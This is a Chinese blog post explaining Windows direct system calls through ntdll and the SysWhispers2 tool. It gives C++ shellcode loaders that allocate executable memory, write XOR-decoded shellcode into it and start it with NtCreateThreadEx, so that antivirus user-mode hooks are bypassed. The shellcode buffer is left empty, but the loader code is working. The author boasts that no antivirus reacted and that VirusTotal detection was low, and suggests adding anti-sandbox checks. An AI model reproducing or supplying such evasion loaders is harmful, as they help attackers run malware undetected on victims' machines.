直接系统调用

 

什么是SysCall

 
在Windows中,进程处理体系被分为两种:用户模式和内核模式.
 

 
 
Notepad++ 随便写一个文件我们查看一下这个操作
 

 
其中 U 代表是用户层, K 代表的是内核层,我们可以看见创建文件这个操作首先是调用 ntdll!NtCreateFile 之后切换为内核层的 ntoskrnl.exe!NtCreateFile 处理
 
可见 ntdll.dll 里面导出的是 Windows 的原生API, ntoskrnl 里是对其的实现(内核API).
 
 
WinDbg 中查看一下 ntdll!NtCreateFile 的汇编指令
 

 

mov     r10,rcx
mov     eax,55h
syscall
ret

 
其中 55hZwCreateFile 的调用号
 
值得一提的是很多系统的调用号是不同的,可以在这里面做下参考:
 
https://j00ru.vexillium.org/syscalls/nt/64/
 

SysCall

 
还是从最开始的简单利用加载 ShellCode 来看
 

#include <iostream>
#include <Windows.h>
int main()
{
    DWORD dwThreadID;
    HANDLE handle;
    int shellcode_size;
    unsigned char buf[]="";
    shellcode_size = sizeof(buf);//
    char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
    CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
    handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
    WaitForSingleObject(handle,INFINITE);//等待线程结束
    return 0;
}

 
跟踪一下Api试试看
 

 
可以看到 VirtualAlloc 底层调用的是 NtAllocateVirtualMemory ,而 CreateThread 调用的是 NtCreateThreadEx
 
其中 VirtualAlloc 以及 CreateThread 是比较敏感的Api,一般杀软对这种情况会做一个阈值处理,当特征达到一定数量后会作为病毒处理,因此我们可以通过直接系统调用,绕过杀软对用户层的 hook
 

使用SysWhispers2进行系统调用

 
ShellCode 请使用 x64 , X86 可以看下 https://github.com/mai1zhi2/SysWhispers2_x86
 
根据每个系统的不同,调用号也是不同的,我们可以根据前人的研究成果来更方便的进行学习
 
根据 Outflank文章
 
我们可以根据 Native 的 API RtlGetVersion 来获取系统的版本
 

 
后面经过学习发现 JacksonSysWhispers2 项目有更好的适用性,该项目采用了 modexp 的方法
 
先使用 SysWhispers2 生成我们的文件
 

 
 
将这些文件放入我们的项目
 

 
NtAllocateVirtualMemoryNtWriteVirtualMemory 以及 NtCreateThreadEx 这些Native的API替换成我们加载ShellCode的常规操作(申请内存、拷贝内存、创建线程)
 
测试代码为
 

#include <iostream>
#include <Windows.h>
#include "syscalls.h"

int main()
{
    DWORD dwThreadID;
    HANDLE handle;
    int shellcode_size;
    unsigned char buf[] = "";
    for (int test = 0; test < sizeof(buf); test++) {
        buf[test] = buf[test] ^ 10;
    }

    HANDLE hProc = GetCurrentProcess();
    PVOID ptr = NULL;
    HANDLE thandle = NULL;
    shellcode_size = sizeof(buf);//
    SIZE_T allocation_sizes = sizeof(buf);
    NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NTSTATUS NTAVV = NtWriteVirtualMemory(hProc,ptr,buf, allocation_sizes,0);
    NTSTATUS ct = NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,ptr, NULL, FALSE, 0, 0, 0, NULL);
    WaitForSingleObject(thandle, INFINITE);
    free(ptr);
    // char* shellcode = (char*)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
   // CopyMemory(shellcode, buf, shellcode_size);//将Shellcode放进内存页
    
    //handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadID);//创建线程
    //WaitForSingleObject(handle, INFINITE);//等待线程结束
    return 0;
}

 

 
一众杀软均无反应
 
看下API的调用情况
 
发现调用的基本都是 Native 的 API
 

 
Vt检出良好,加几个反沙箱之类的估计就更完美了
 

其他

 
SysWhispers2 不支持 x86 的架构,国内有师傅改了一下,使其支持 x86
 
https://github.com/mai1zhi2/SysWhispers2_x86 (有问题的话记得看Issues)
 

参考资料

 

https://github.com/jthuraisamy/SysWhispers
https://y4er.com/post/using-csharp-to-syscall/
https://github.com/outflanknl/Dumpert
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://mp.weixin.qq.com/s/2Gui2tVOkG4JIRQe7gMP0A
https://lengjibo.github.io/syscall/
http://www.codewarrior.cn/ntdoc/winnt/mm/NtWriteVirtualMemory.htm

posted @ 2021-09-15 14:44  Zahad003  阅读(804)  评论(0编辑  收藏  举报